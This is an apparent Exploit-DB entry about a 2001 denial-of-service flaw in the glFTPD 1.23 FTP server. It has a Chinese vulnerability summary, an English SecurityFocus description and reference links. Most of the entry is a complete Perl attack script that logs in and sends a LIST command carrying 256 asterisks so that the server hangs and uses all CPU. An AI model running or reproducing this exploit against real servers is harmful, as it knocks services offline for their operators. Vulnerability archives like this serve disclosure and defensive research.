https://www.exploit-db.com/exploits/21074
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200108-194

glFTPD1.23版本存在漏洞。远程攻击者借助带包含大量*(星号)参数的LIST命令导致服务拒绝（CPU消耗）。

source: http://www.securityfocus.com/bid/3201/info

glFtpD contains an input validation error that may allow a malicious user to cause a denial of service against a host running the daemon.

The problem occurs when a specially crafted 'LIST' command is received by the server. If the argument to the command contains an excessive number of '*' characters, the server will cease to respond and consume all available CPU resources on the system.

If the attack is successful, the server will need to be manually restarted to regain normal functionality.

#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - glFTPD v1.23i =-nn";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl gl123DOS.pl <host> <user>
<pass> [port]n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "*" x 256;

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect  to $adr:$prtn";

$remote->autoflush(1);

print $remote "USER $usrn" and print "1. Sending : USER $usr...n" or die
"Error: can't send usern";

print $remote "PASS $pasn" and print "2. Sending : PASS $pas...n"  or die
"Error: can't send passn";

print $remote "LIST $err/n" and print "3. Sending : ErrorCode...nn"or die
"Error: can't send error coden";

print "Attack done. press any key to exitnnote: Attack done doesn't mean
Attack successfuln";
$bla= <STDIN>;
close $remote;

来源:BID
名称:3201
链接:http://www.securityfocus.com/bid/3201
来源:BUGTRAQ
名称:20010817[ASGUARD-LABS]glFTPDv1.23DOSAttack
链接:http://archives.neohapsis.com/archives/bugtraq/2001-08/0239.html
来源:www.glftpd.org
链接:http://www.glftpd.org/
来源:XF
名称:glftpd-list-dos(7001)
链接:http://www.iss.net/security_center/static/7001.php